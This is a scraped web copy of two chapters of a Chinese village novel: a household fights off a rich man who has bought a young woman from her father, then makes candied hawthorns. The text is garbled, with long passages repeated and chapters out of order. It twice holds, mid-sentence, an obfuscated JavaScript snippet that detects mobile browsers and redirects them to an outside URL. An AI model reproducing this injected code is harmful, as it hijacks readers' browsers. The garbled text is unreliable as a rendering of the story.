“狗鼻子真灵。”袁竹笑着说道。 姜佑安进了厨房,从怀里掏出一包东西放在案板旁,不满地说道:“袁竹,你今天能吃上羊肉,可都是我的功劳,你不谢我就算了,还骂我是狗?” 袁竹也进了厨房,拿了汤盆把炖羊肉盛出来,“没骂你,我这不是夸你鼻子灵嘛。” “哼,我大人不记小人过,不跟你这个村姑一般见识。”姜佑安去洗了手,见羊肉和鹿肉一起端上了桌。 “都有羊肉了,怎么还做鹿肉?”姜佑安问道。 “小阮嫌羊肉太膻,吃了打嗝犯恶心,你多吃点儿羊肉,鹿肉留给小阮吃。”袁竹说道。 “没事,大家都一起吃。”阮荷说道。 屋里正说着话,李长风带着杨恩走了进来,杨恩问起哪来的羊肉,姜佑安向他说起耳环的事,想到不必发愁过冬的事,杨恩也很高兴,这一餐,大家吃得格外高兴。 吃过了饭,几人争着去洗碗,姜佑安见缸里水不多,就主动提出去挑水,李长风也跟着一起出了门,待两人回来,赖川已经进了院门,院门外停着马车,还有几个下人在一旁等着。 院子里姜佑安进了院子,把水挑进厨房里,便走了出来,“话还没说完吗?”姜佑安问道。 “都说完了,这姓赖的不肯走。”护在阮荷身前的袁竹说道。 姜佑安走到袁竹身边,看向院子当中站着的三人,“你们怎么还不走?” 三人当中,为首一人正是赖川,他看起来四十岁的年纪,肚子滚圆,头发稀疏,衣服料子华贵,手上戴着镶嵌宝石的戒指,笑起来时,满脸的肥肉都堆在了一起,“我要走,当然得带阮姑娘一起走。” “我不跟你走!我不会嫁给你的!”阮荷大声说道。 “你爹收了我一百两银子,你要是不肯嫁,就让你爹把银子还给我。”赖川说道。 “你把钱给了他爹就找他爹要去。”袁竹踢了踢地上的木盒,“把这个也拿走,我们可没收你的钱。” 赖川眼露凶光,“我不要银子,只要人,阮阿宝已经答应我了,钱他收下,阮姑娘归我,我送礼,你们不肯收,我客客气气来接人,你们也不肯放,那就别怪我不客气了。” “你还想怎么不客气?难道强抢民女不成?”杨恩说道。 赖川从怀里掏出一张字据来,嚣张地说道:“阮阿宝已经把她女儿卖给我了,有卖身契在此,我出了钱,阮姑娘就是我的人,我带走我买的小妾,是天经地义的事,你们谁敢拦我?” 杨恩转身去廊下寻了一把铁锨来,横在姜佑安的身前,“别跟我说什么天经地义,阮姑娘不愿意就是不愿意!你要是敢动手,就别怪我拍你!” “这家里就你这么一个没用的男人?就凭你,还想跟我较劲?你这瘦弱的身板,还是躲远点儿吧!”赖川一声令下,门外等着的下人跑了进来,六个人排成了一行。 杨恩握着铁锨把,紧张地看着赖川。 看着眼前的男人一脸凶狠地护着身后的女人和孩子,赖川呵呵一笑,“你这瘦胳膊瘦腿的,我真怕一不小心就把你打死了,这样吧,只要你主动把阮姑娘交出来,我们这就撤回去。” “你休想!”杨恩说道。 “小伙子,你好好想想,要是真打起来,你家这些女人孩子的,不都得受伤吗?你只要把阮姑娘给我,我跟你保证,绝不碰其他人一根手指。”赖川耐心地劝诱道。 “我和阮姑娘是家人,我只能保护她,不能把他交出去。”杨恩说道。 赖川仰头,发出尖利的笑声,“好啊,那我就成全你,除了我想要的那个美人儿,其他人,都给我照死里打!” 李长风一直死死盯着姜佑安,此时姜佑安才松口,“长风,拔剑!” 李长风得了命令,马上拔出长剑,护在杨恩身前,冷静迎敌。 “一个小孩子也来逞英雄。”高大的男人扑上来,抢夺李长风的剑,李长风侧身躲过,挥剑划伤了男人的胳膊。 “啊!”男人的惨叫声让所有人都停下了动作,“他拿的是把真剑!” “怕什么!你们也拿上武器!”赖床喊道。 众人于是在院子里各自寻了武器在手里,姜佑安去拿了她的弓箭,阮荷和袁竹也各自拿了砍刀和扫帚,加入了混战。 杨恩不要命似的挥舞着铁锨,李成峰闪转腾挪,专伤人胳膊,阮荷双手握着砍刀,没有人敢靠近,袁竹拿着扫帚满院子追着人打,姜佑安一箭射中了赖川的帽子,赖川吓得摔倒在地,下人们见了,都收了手,扶着赖川往外跑。 “我的箭可不能让你带走。”姜佑安追过去,拔出了赖川头上的箭。 箭头上带出几缕头发,疼得赖川哇哇大叫,捂着脑袋向外跑,“快走!快走!” 下人们搀扶着赖川,把他扶上了马车,袁竹追出去,把一个木盒扔进了马车里,“带着你的东西,滚远点儿!再敢来骚扰,要了你的狗命!” 被骂了一通,也没有人敢回话,一人跳上马车,调转方向,向大路驶去,其他人都捂着身上的伤,灰溜溜地跟着跑走了。 姜佑安和李长风哈哈大笑,阮荷走出院门,手上还拿着砍刀,此刻她终于放松下来,轻轻笑了。 杨恩一手扶着门框,一手拿着铁锨,大口喘着粗气。 见赖川的马车跑远了,大家回到了乱七八糟的院子里,把东西各自归位。 “小阮真是好样的,会拿起武器保护自己了。”姜佑安夸赞道。 阮荷有些不好意思地笑了笑,“本来就是我惹出来的麻烦,你们这么帮我,我怎么好只在一旁站着。” “以后就这么干,谁敢欺负你,你就动手跟他打,这样才能保护得了自己。”姜佑安说道。 “拿武器可以,以后还是别拿砍刀了,怪吓人的,我真怕你伤着自己。”袁竹说道。 “就是要看起来吓人,才能把人吓跑,赖川看她这个样子,肯定再也不敢来了。”姜佑安说道。 “倒也有些道理。”袁竹说道。 收拾好了院子,阮荷向杨恩道谢,袁竹和姜佑安也称赞他的勇敢,杨恩有些不好意思了,忙说还要回去帮陈大用干活,匆匆出了门,就往村里去了。 袁竹又夸了李长风两句,才进了厨房,不一会儿,她拿着一个纸包走了出去,“姜佑安,这是什么?” 姜佑安正在往院墙上挂靶子,准备练习射箭,她回头看了一眼,“是我买的糖,你终于看见了。” “你要钱不是去还给那个姓戴的吗?怎么买了这个?”袁竹问道。 “钱没还上,戴公子不在,我正好看见有卖糖的,想着咱家还有不少山楂,就买了点儿。”姜佑安说道。 袁竹皱起了眉头,“谁让你乱花钱了,有买糖的钱,买点粮食不好吗?” 姜佑安走过去,从怀里掏出一两银子来,放到袁竹手里,“你放心,这钱我没用,用的是我自己的钱,那些山楂,你不也说扔了怪可惜的吗?” 袁竹收下银子,顿时消了气,“用糖能做什么?煮一煮加糖吃?” “就像荷包蛋一样?”阮荷说道。 “可以做冰糖葫芦吧,不也是糖做的?”李长风说道。 “冰糖葫芦?”姜佑安眼睛一亮,“这个好!就做冰糖葫芦吧,我喜欢!” 第三十六章山楂 阮荷觉得有些为难,“这个我不会,袁姐姐,你会吗?” “我只见过,连什么味儿都不知道,怎么可能会。”袁竹说道。 姜佑安看向李长风,“你会吗?” 李长风摇了摇头,“我只吃过,没见人做过。” 姜佑安有些失落,“难得我买了糖回来,就没有人会做吗?” “不要光抱怨,想吃你就自己做。”袁竹说道。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738132|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不会啊,我从来都没有下过厨。”姜佑安说道。 “以前村里过年杀猪的时候,我看见过别人做红烧肉,她是用水和糖熬的糖浆,说不定把山楂放进去滚一滚,再串起来,就是冰糖葫芦了。”阮荷说道。 “对啊,冰糖葫芦不就是山楂外面包了一层糖嘛,说不定就是这么做的。”姜佑安惊喜地说道。 “可我没做过,这糖也不便宜,别浪费了。”阮荷有些担心。 “没事。”姜佑安充满豪气地一挥手,“山楂和糖,怎么也不会太难吃,你尽管做,不管做成什么样子,我都能吃下去。” “那好。”阮荷去了院子一角的柴火棚边,站在椅子上拿下了棚顶上的簸箩,里面一半是洗干净晾干的整个儿山楂,一半是晒成干的山楂片。 阮荷把簸箩拿到厨房里,把山楂倒进干净的瓷盆里,李长风把簸箩拿走,放回去继续晒着。 袁竹也过来帮忙,点起了火,姜佑安走过去,“冰糖葫芦是我要吃的,我来烧吧。” 袁竹拦住了她,“我来吧,山楂是你摘的,糖也是你买,虽说是你想吃,可我们也跟着沾了光,你练箭去吧,冬天我们要吃肉,可全指望你了。” 姜佑安笑了笑,往外走去,“好,我去练,保证让你们有肉吃。” 姜佑安在院子里练箭,李长风在廊下打拳,厨房里熬着糖浆,传来香甜的气味,又有山楂一个个滚落锅里,锅铲来回翻拌的声音,一开始好像比较粘稠,慢慢的,山楂击打铁锅时有了颗颗分明的感觉。 “嗖!”地一声,一支箭正中靶心,姜佑安收起弓,取下扳指,噔噔噔跑进了厨房,“是不是做好了?” 阮荷脸上现出窘迫的神色,“好像做得不太对。” 姜佑安凑过去往锅里一看,只见原本红彤彤的山楂,都裹上了一层白色的糖霜,她觉得很神奇,“这,怎么变白了?” “什么变白了?”李长风也跑了进来。 “冰糖葫芦啊。”姜佑安说着,伸手去锅里拿山楂,刚捏起来,就被烫得扔回了锅里,“好烫!” “这么热,你着什么急!”袁竹说道。 姜佑安把手指放进了嘴里,惊喜地说道:“是甜的!肯定好吃!”说着又要去抓锅里的山楂。 袁竹打了一下姜佑安的手,“不长教训,还想挨烫啊,放凉了再吃。” 阮荷把糖霜山楂球都盛了出来,盛了慢慢一汤碗,放在灶台上晾着。 姜佑安和李长风哪都不去,就在灶台旁边守着,摸到差不多凉了,姜佑安自己吃了一颗,又塞给李长风一颗。 “好吃!真好吃!”两人不住地点头。 “真的?”阮荷也走过来拿了一颗,放进了嘴里,“冰糖葫芦是这样的味道吗?” “不太一样,不过酸酸甜甜的感觉差不多,冰糖葫芦外面的糖衣是硬的、脆的,一咬就会裂开。”李长风说道。 “硬的,脆的?”阮荷想起曾经见过的冰糖葫芦的样子,却不知道咬起来是什么感觉,自己做的,为什么不脆呢? 姜佑安吐出山楂籽,又拿起一颗塞进嘴里,“不过这样也很好吃。” 袁竹也尝了一颗,“这个东西,估计小孩子会喜欢。” “不是小孩子的,也喜欢。”姜佑安说道。 袁竹拿出一个小碗来,用筷子从汤碗里分出了一碗,“长风,等会儿你把这碗送到木匠那里去,就说是我们自己做的,请他们尝尝。” “好。”长风放进嘴里一颗,手上又拿了一颗,拿着碗出门了。 “你应该跟长风说一声,去村里就不要带着剑了,村里人看见他这个样子,肯定又要在背地里议论。”袁竹说道。 “嘴长在别人身上,爱怎么说就怎么说吧,长风很听话,不会出事的。”姜佑安把手中的山楂籽放到袁竹面前,“之前你不收集过棉花籽吗?这个山楂籽怎么样?能不能种?” “你想种就留着吧,明年春天挖个坑埋上就行,不过,山里有那么多山楂树,还用自己种?”袁竹说道。 “嗯,说得也是,那我明天再上山摘点儿回来吧。”姜佑安又吃了一颗山楂球,出门扔了手中的山楂籽,又把嘴里的吐干净,回了院子里继续射箭。 “佑安姐姐不吃了?”阮荷问道。 “不吃了,你多吃点儿。”姜佑安把靶子上的箭拔出来,站在了院子中间,搭上箭,拉开弓。 袁竹从厨房里走出来,“你等会儿再练吧,待会儿长风就回来了,你别伤着他。” 姜佑安放下了弓,收起箭,看向袁竹,“糖霜山楂球,你不喜欢吗?” “太酸了,留给孩子们吃吧。”袁竹说道。 “看来你爱甜的。”姜佑安说道。 “什么酸的甜的,我都无所谓,只要能吃就行,孩子们喜欢吃,让她们多吃点,我吃饭就够了。”袁竹说道。 “整天只吃饭,那多没意思。”姜佑安说道。 “能吃饱饭就够好的了,吃东西还讲什么意思。”袁竹摇了摇头,“搞不懂你们有钱人的想法。” 姜佑安撇了撇嘴,小声嘟囔,“我还搞不懂你们这么穷人的想法呢。” “穷人能有什么想法,最好是什么都不想,因为想了也白想,反正也没钱。”袁竹说道。 “你丈夫死了几年了?”姜佑安突然问道。 “三年了。”袁竹答道。 “你就不想再找个男人?”姜佑安问道。 “不想,找个男人,找个婆家,只是给自己找罪受而已,我好不容易离开了,不想再继续过那种生活。”袁竹说道。 “你丈夫和公婆对你不好?”姜佑安问道。 “他们好不好先不论,我自己能养活自己,为什么还要去伺候别人?”袁竹反问道。 “在你看来,男人就没有丝毫的好处?”姜佑安问道。 “没有,我一个人更自在。”袁竹说道。 姜佑安叹了口气,“我倒是想要男人,可我看上的男人都看不上我。” 袁竹笑了,“你之前不还说自己是个有魅力的女人吗?怎么现在又没有自信了。” “我当然是个有魅力的女人,但我现在只是个村姑,像你说的,没有人会看上我,我要是又小阮那样的美貌,还好说一点。”姜佑安说道。 “那你肯定会给我招来更多的麻烦。”袁竹说道。 “没有美貌,有钱也行啊。”姜佑安说道。 袁竹嗤之以鼻,“有钱你还能在我这儿?别做白日梦了。” “怎么才能弄到钱呢?我需要很多很多钱。”姜佑安陷入了思考。 “你要那么多钱干什么?买男人?”袁竹问道。 “起码看在钱的份上,那些美貌的男人就不会无视我了,这样才能有进一步的可能。”姜佑安说道。 袁竹深感不解,“你想要钱,就是要给男人花?这样你能得到什么好处吗?” “能啊。”姜佑安嘿嘿一笑,“能得到左拥右抱的好处。” 袁竹白了她一眼,“小阮也在,你不要胡说八道!” 姜佑安没有理会袁竹,自顾自地说下去,“打猎要靠运气,就算打到了,我们自己还要吃肉,不能都拿去卖,毛皮也换不来太多钱,就不能有其他挣钱的办法吗?” “要有我不早去挣了?我就只会种花卖花,不会别的。”袁竹说道。 “卖花,马上就到冬天了,冬天,冬天可以卖什么花?”姜佑安突然想到昨天在粉盒上看到的水仙花,“水仙!过年的时候,我看很多人家里都摆着水仙,这里肯定也有人买吧。” “有吧,应该卖得不便宜。”袁竹说道。 “水仙是花吗?”一直在旁边默默听着的阮荷开口问道。 “对,你还记得我昨天给你看的那盒香粉吗?那粉盒上雕的就是水仙花,冬天摆在房间里,闻起来特别香。”姜佑安说道。 “你又不会种花,想这些做什么?”袁竹说道。 “我不会,你不是会吗?”姜佑安说道。 袁竹摇了摇头,“我也不会,冬天山里腊梅开的时候,我偶尔也会采些进城去卖,但从没在泰安县见过卖水仙花的。” 姜佑安仿佛发现了一个天大的机遇,“本县没有?” “大户人家也许有,但我没见有人卖过。”袁竹说道。 “那更好了,我们要是能养出一批水仙花来,肯定能大赚一笔。”姜佑安高兴地说道。 “什么大赚一笔?”李长风端着一碗板栗走进了院门。 “佑安姐姐说想卖水仙花,可以大赚一笔。”阮荷走过去,接过他手里的碗,“这板栗哪儿来的?” “陈爷爷给的,他说是自家的板栗树,今年结的不多,煮了一点儿,也给咱们尝尝。”李长风说道。 “那山楂,他孙子喜欢吗?”袁竹问道。 “不知道,我没看见他孙子。”李长风答道。 姜佑安走到阮荷身边,拿起一个板栗,咬开吃了,“他孙子比你岁数还小,说不定你们可以成为朋友。” “村里的孩子看见我都躲得远远的,我才不想跟他们做朋友。”李长风从碗里拿出一个板栗,按捏着板栗坚硬的外壳。 阮荷把碗递到袁竹面前,袁竹也拿了一个,向李长风说道:“还不是因为你整天带着剑,你跟那些孩子们说话的时候和气点儿,他们肯定愿意带你一起玩。” “没有朋友,也没什么的,我只要待在姜姐姐身边就行。”李长风说道。 “你还小,我们也不用你做什么,你闲着没事,就出去找那些孩子玩儿呗,慢慢就好了。”袁竹说道。 李长风摇了摇头,把手上的板栗咬开吃了“不了,我不想跟他们一起玩儿。” 姜佑安笑了笑,“不愿意去就不去,长风和我一起养水仙花吧。” 袁竹吃了板栗,把板栗壳扔到院墙外面,拍了拍手,“说风就是雨的,哪来的水仙花?” 35. 混战 李长风拦住了男孩,他抱着男孩的腰,把他扑倒在地。 “这是怎么了?家里进小偷了?”姜佑安问道。 “他不是小偷,长风,你别伤着他。”阮荷从院子里走出来,手上捧着一个木盒。 “没有小偷,是赖家又派人来送礼了。”袁竹说道。 姜佑安仔细一看,见确实是昨天来送礼的那个孩子,她把两人拉了起来,“我们今天刚把礼物还回去,你怎么又来了?还想故技重施?” “老爷的吩咐,我不敢不听。”少男低着头说道。 李长风放开少男,姜佑安扑打着他身上的灰尘,“东西拿回去,你会挨打吗?” 少男点点头,没有说话。 “那好,东西我们收下了,你告诉你家老爷,让他下午亲自来一趟,阮姑娘有话要亲自跟他讲。”姜佑安说道。 “好,我这就回去告诉我家老爷。”少男向姜佑安鞠了一躬,快步向大路跑去。 “姜佑安!你怎么能自主主张?谁稀罕他的东西!”袁竹生气地说道。 “东西这么送来送去的,多麻烦啊,还不如把人叫来,把话说清楚。”姜佑安走到阮荷面前,打开了她手上的木盒,见里面装着些钗环珠花,“做工这么粗糙,也好意思拿出来送人。” “这在普通百姓眼里,已经是值钱的东西了。”袁竹说道。 姜佑安合上了木盒盖子,温柔地看着阮荷,“小阮,等人来了,你知道该怎么说吧。” 阮荷点了点头,“我就说不愿意嫁给他。” “要是你爹已经收了他的聘礼呢?”袁竹说道。 阮荷一听就慌了,“啊?那怎么办?” “你爹收了钱,你也不嫁,他的钱给了谁,就找谁要回来,反正你不嫁,不管他怎么说,你都不能跟她走,绝对不行!”姜佑安说道。 “对,你又没收钱,谁收的钱他找谁。”袁竹附和道。 有袁竹和姜佑安在她左右,阮荷心里的不安渐渐消散,她点了点头,“嗯,我知道了。” 袁竹看向李长风,“长风,你去趟木匠家,跟杨恩说,咱们这儿中午做了他的饭,让他跟你一起过来吃点儿。” “好。”李长风应了一声,往村子跑去。 姜佑安走进院子,深吸了一口气,“好香啊,是炖羊肉和炒腊肉的味道” “狗鼻子真灵。”袁竹笑着说道。 姜佑安进了厨房,从怀里掏出一包东西放在案板旁,不满地说道:“袁竹,你今天能吃上羊肉,可都是我的功劳,你不谢我就算了,还骂我是狗?” 袁竹也进了厨房,拿了汤盆把炖羊肉盛出来,“没骂你,我这不是夸你鼻子灵嘛。” “哼,我大人不记小人过,不跟你这个村姑一般见识。”姜佑安去洗了手,见羊肉和鹿肉一起端上了桌。 “都有羊肉了,怎么还做鹿肉?”姜佑安问道。 “小阮嫌羊肉太膻,吃了打嗝犯恶心,你多吃点儿羊肉,鹿肉留给小阮吃。”袁竹说道。 “没事,大家都一起吃。”阮荷说道。 屋里正说着话,李长风带着杨恩走了进来,杨恩问起哪来的羊肉,姜佑安向他说起耳环的事,想到不必发愁过冬的事,杨恩也很高兴,这一餐,大家吃得格外高兴。 吃过了饭,几人争着去洗碗,姜佑安见缸里水不多,就主动提出去挑水,李长风也跟着一起出了门,待两人回来,赖川已经进了院门,院门外停着马车,还有几个下人在一旁等着。 院子里姜佑安进了院子,把水挑进厨房里,便走了出来,“话还没说完吗?”姜佑安问道。 “都说完了,这姓赖的不肯走。”护在阮荷身前的袁竹说道。 姜佑安走到袁竹身边,看向院子当中站着的三人,“你们怎么还不走?” 三人当中,为首一人正是赖川,他看起来四十岁的年纪,肚子滚圆,头发稀疏,衣服料子华贵,手上戴着镶嵌宝石的戒指,笑起来时,满脸的肥肉都堆在了一起,“我要走,当然得带阮姑娘一起走。” “我不跟你走!我不会嫁给你的!”阮荷大声说道。 “你爹收了我一百两银子,你要是不肯嫁,就让你爹把银子还给我。”赖川说道。 “你把钱给了他爹就找他爹要去。”袁竹踢了踢地上的木盒,“把这个也拿走,我们可没收你的钱。” 赖川眼露凶光,“我不要银子,只要人,阮阿宝已经答应我了,钱他收下,阮姑娘归我,我送礼,你们不肯收,我客客气气来接人,你们也不肯放,那就别怪我不客气了。” “你还想怎么不客气?难道强抢民女不成?”杨恩说道。 赖川从怀里掏出一张字据来,嚣张地说道:“阮阿宝已经把她女儿卖给我了,有卖身契在此,我出了钱,阮姑娘就是我的人,我带走我买的小妾,是天经地义的事,你们谁敢拦我?” 杨恩转身去廊下寻了一把铁锨来,横在姜佑安的身前,“别跟我说什么天经地义,阮姑娘不愿意就是不愿意!你要是敢动手,就别怪我拍你!” “这家里就你这么一个没用的男人?就凭你,还想跟我较劲?你这瘦弱的身板,还是躲远点儿吧!”赖川一声令下,门外等着的下人跑了进来,六个人排成了一行。 杨恩握着铁锨把,紧张地看着赖川。 看着眼前的男人一脸凶狠地护着身后的女人和孩子,赖川呵呵一笑,“你这瘦胳膊瘦腿的,我真怕一不小心就把你打死了,这样吧,只要你主动把阮姑娘交出来,我们这就撤回去。” “你休想!”杨恩说道。 “小伙子,你好好想想,要是真打起来,你家这些女人孩子的,不都得受伤吗?你只要把阮姑娘给我,我跟你保证,绝不碰其他人一根手指。”赖川耐心地劝诱道。 “我和阮姑娘是家人,我只能保护她,不能把他交出去。”杨恩说道。 赖川仰头,发出尖利的笑声,“好啊,那我就成全你,除了我想要的那个美人儿,其他人,都给我照死里打!” 李长风一直死死盯着姜佑安,此时姜佑安才松口,“长风,拔剑!” 李长风得了命令,马上拔出长剑,护在杨恩身前,冷静迎敌。 “一个小孩子也来逞英雄。”高大的男人扑上来,抢夺李长风的剑,李长风侧身躲过,挥剑划伤了男人的胳膊。 “啊!”男人的惨叫声让所有人都停下了动作,“他拿的是把真剑!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742223|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “怕什么!你们也拿上武器!”赖床喊道。 众人于是在院子里各自寻了武器在手里,姜佑安去拿了她的弓箭,阮荷和袁竹也各自拿了砍刀和扫帚,加入了混战。 杨恩不要命似的挥舞着铁锨,李成峰闪转腾挪,专伤人胳膊,阮荷双手握着砍刀,没有人敢靠近,袁竹拿着扫帚满院子追着人打,姜佑安一箭射中了赖川的帽子,赖川吓得摔倒在地,下人们见了,都收了手,扶着赖川往外跑。 “我的箭可不能让你带走。”姜佑安追过去,拔出了赖川头上的箭。 箭头上带出几缕头发,疼得赖川哇哇大叫,捂着脑袋向外跑,“快走!快走!” 下人们搀扶着赖川,把他扶上了马车,袁竹追出去,把一个木盒扔进了马车里,“带着你的东西,滚远点儿!再敢来骚扰,要了你的狗命!” 被骂了一通,也没有人敢回话,一人跳上马车,调转方向,向大路驶去,其他人都捂着身上的伤,灰溜溜地跟着跑走了。 姜佑安和李长风哈哈大笑,阮荷走出院门,手上还拿着砍刀,此刻她终于放松下来,轻轻笑了。 杨恩一手扶着门框,一手拿着铁锨,大口喘着粗气。 见赖川的马车跑远了,大家回到了乱七八糟的院子里,把东西各自归位。 “小阮真是好样的,会拿起武器保护自己了。”姜佑安夸赞道。 阮荷有些不好意思地笑了笑,“本来就是我惹出来的麻烦,你们这么帮我,我怎么好只在一旁站着。” “以后就这么干,谁敢欺负你,你就动手跟他打,这样才能保护得了自己。”姜佑安说道。 “拿武器可以,以后还是别拿砍刀了,怪吓人的,我真怕你伤着自己。”袁竹说道。 “就是要看起来吓人,才能把人吓跑,赖川看她这个样子,肯定再也不敢来了。”姜佑安说道。 “倒也有些道理。”袁竹说道。 收拾好了院子,阮荷向杨恩道谢,袁竹和姜佑安也称赞他的勇敢,杨恩有些不好意思了,忙说还要回去帮陈大用干活,匆匆出了门,就往村里去了。 袁竹又夸了李长风两句,才进了厨房,不一会儿,她拿着一个纸包走了出去,“姜佑安,这是什么?” 姜佑安正在往院墙上挂靶子,准备练习射箭,她回头看了一眼,“是我买的糖,你终于看见了。” “你要钱不是去还给那个姓戴的吗?怎么买了这个?”袁竹问道。 “钱没还上,戴公子不在,我正好看见有卖糖的,想着咱家还有不少山楂,就买了点儿。”姜佑安说道。 袁竹皱起了眉头,“谁让你乱花钱了,有买糖的钱,买点粮食不好吗?” 姜佑安走过去,从怀里掏出一两银子来,放到袁竹手里,“你放心,这钱我没用,用的是我自己的钱,那些山楂,你不也说扔了怪可惜的吗?” 袁竹收下银子,顿时消了气,“用糖能做什么?煮一煮加糖吃?” “就像荷包蛋一样?”阮荷说道。 “可以做冰糖葫芦吧,不也是糖做的?”李长风说道。 “冰糖葫芦?”姜佑安眼睛一亮,“这个好!就做冰糖葫芦吧,我喜欢!” 36. 山楂 阮荷觉得有些为难,“这个我不会,袁姐姐,你会吗?” “我只见过,连什么味儿都不知道,怎么可能会。”袁竹说道。 姜佑安看向李长风,“你会吗?” 李长风摇了摇头,“我只吃过,没见人做过。” 姜佑安有些失落,“难得我买了糖回来,就没有人会做吗?” “不要光抱怨,想吃你就自己做。”袁竹说道。 “我也不会啊,我从来都没有下过厨。”姜佑安说道。 “以前村里过年杀猪的时候,我看见过别人做红烧肉,她是用水和糖熬的糖浆,说不定把山楂放进去滚一滚,再串起来,就是冰糖葫芦了。”阮荷说道。 “对啊,冰糖葫芦不就是山楂外面包了一层糖嘛,说不定就是这么做的。”姜佑安惊喜地说道。 “可我没做过,这糖也不便宜,别浪费了。”阮荷有些担心。 “没事。”姜佑安充满豪气地一挥手,“山楂和糖,怎么也不会太难吃,你尽管做,不管做成什么样子,我都能吃下去。” “那好。”阮荷去了院子一角的柴火棚边,站在椅子上拿下了棚顶上的簸箩,里面一半是洗干净晾干的整个儿山楂,一半是晒成干的山楂片。 阮荷把簸箩拿到厨房里,把山楂倒进干净的瓷盆里,李长风把簸箩拿走,放回去继续晒着。 袁竹也过来帮忙,点起了火,姜佑安走过去,“冰糖葫芦是我要吃的,我来烧吧。” 袁竹拦住了她,“我来吧,山楂是你摘的,糖也是你买,虽说是你想吃,可我们也跟着沾了光,你练箭去吧,冬天我们要吃肉,可全指望你了。” 姜佑安笑了笑,往外走去,“好,我去练,保证让你们有肉吃。” 姜佑安在院子里练箭,李长风在廊下打拳,厨房里熬着糖浆,传来香甜的气味,又有山楂一个个滚落锅里,锅铲来回翻拌的声音,一开始好像比较粘稠,慢慢的,山楂击打铁锅时有了颗颗分明的感觉。 “嗖!”地一声,一支箭正中靶心,姜佑安收起弓,取下扳指,噔噔噔跑进了厨房,“是不是做好了?” 阮荷脸上现出窘迫的神色,“好像做得不太对。” 姜佑安凑过去往锅里一看,只见原本红彤彤的山楂,都裹上了一层白色的糖霜,她觉得很神奇,“这,怎么变白了?” “什么变白了?”李长风也跑了进来。 “冰糖葫芦啊。”姜佑安说着,伸手去锅里拿山楂,刚捏起来,就被烫得扔回了锅里,“好烫!” “这么热,你着什么急!”袁竹说道。 姜佑安把手指放进了嘴里,惊喜地说道:“是甜的!肯定好吃!”说着又要去抓锅里的山楂。 袁竹打了一下姜佑安的手,“不长教训,还想挨烫啊,放凉了再吃。” 阮荷把糖霜山楂球都盛了出来,盛了慢慢一汤碗,放在灶台上晾着。 姜佑安和李长风哪都不去,就在灶台旁边守着,摸到差不多凉了,姜佑安自己吃了一颗,又塞给李长风一颗。 “好吃!真好吃!”两人不住地点头。 “真的?”阮荷也走过来拿了一颗,放进了嘴里,“冰糖葫芦是这样的味道吗?” “不太一样,不过酸酸甜甜的感觉差不多,冰糖葫芦外面的糖衣是硬的、脆的,一咬就会裂开。”李长风说道。 “硬的,脆的?”阮荷想起曾经见过的冰糖葫芦的样子,却不知道咬起来是什么感觉,自己做的,为什么不脆呢? 姜佑安吐出山楂籽,又拿起一颗塞进嘴里,“不过这样也很好吃。” 袁竹也尝了一颗,“这个东西,估计小孩子会喜欢。” “不是小孩子的,也喜欢。”姜佑安说道。 袁竹拿出一个小碗来,用筷子从汤碗里分出了一碗,“长风,等会儿你把这碗送到木匠那里去,就说是我们自己做的,请他们尝尝。” “好。”长风放进嘴里一颗,手上又拿了一颗,拿着碗出门了。 “你应该跟长风说一声,去村里就不要带着剑了,村里人看见他这个样子,肯定又要在背地里议论。”袁竹说道。 “嘴长在别人身上,爱怎么说就怎么说吧,长风很听话,不会出事的。”姜佑安把手中的山楂籽放到袁竹面前,“之前你不收集过棉花籽吗?这个山楂籽怎么样?能不能种?” “你想种就留着吧,明年春天挖个坑埋上就行,不过,山里有那么多山楂树,还用自己种?”袁竹说道。 “嗯,说得也是,那我明天再上山摘点儿回来吧。”姜佑安又吃了一颗山楂球,出门扔了手中的山楂籽,又把嘴里的吐干净,回了院子里继续射箭。 “佑安姐姐不吃了?”阮荷问道。 “不吃了,你多吃点儿。”姜佑安把靶子上的箭拔出来,站在了院子中间,搭上箭,拉开弓。 袁竹从厨房里走出来,“你等会儿再练吧,待会儿长风就回来了,你别伤着他。” 姜佑安放下了弓,收起箭,看向袁竹,“糖霜山楂球,你不喜欢吗?” “太酸了,留给孩子们吃吧。”袁竹说道。 “看来你爱甜的。”姜佑安说道。 “什么酸的甜的,我都无所谓,只要能吃就行,孩子们喜欢吃,让她们多吃点,我吃饭就够了。”袁竹说道。 “整天只吃饭,那多没意思。”姜佑安说道。 “能吃饱饭就够好的了,吃东西还讲什么意思。”袁竹摇了摇头,“搞不懂你们有钱人的想法。” 姜佑安撇了撇嘴,小声嘟囔,“我还搞不懂你们这么穷人的想法呢。” “穷人能有什么想法,最好是什么都不想,因为想了也白想,反正也没钱。”袁竹说道。 “你丈夫死了几年了?”姜佑安突然问道。 “三年了。”袁竹答道。 “你就不想再找个男人?”姜佑安问道。 “不想,找个男人,找个婆家,只是给自己找罪受而已,我好不容易离开了,不想再继续过那种生活。”袁竹说道。 “你丈夫和公婆对你不好?”姜佑安问道。 “他们好不好先不论,我自己能养活自己,为什么还要去伺候别人?”袁竹反问道。 “在你看来,男人就没有丝毫的好处?”姜佑安问道。 “没有,我一个人更自在。”袁竹说道。 姜佑安叹了口气,“我倒是想要男人,可我看上的男人都看不上我。” 袁竹笑了,“你之前不还说自己是个有魅力的女人吗?怎么现在又没有自信了。” 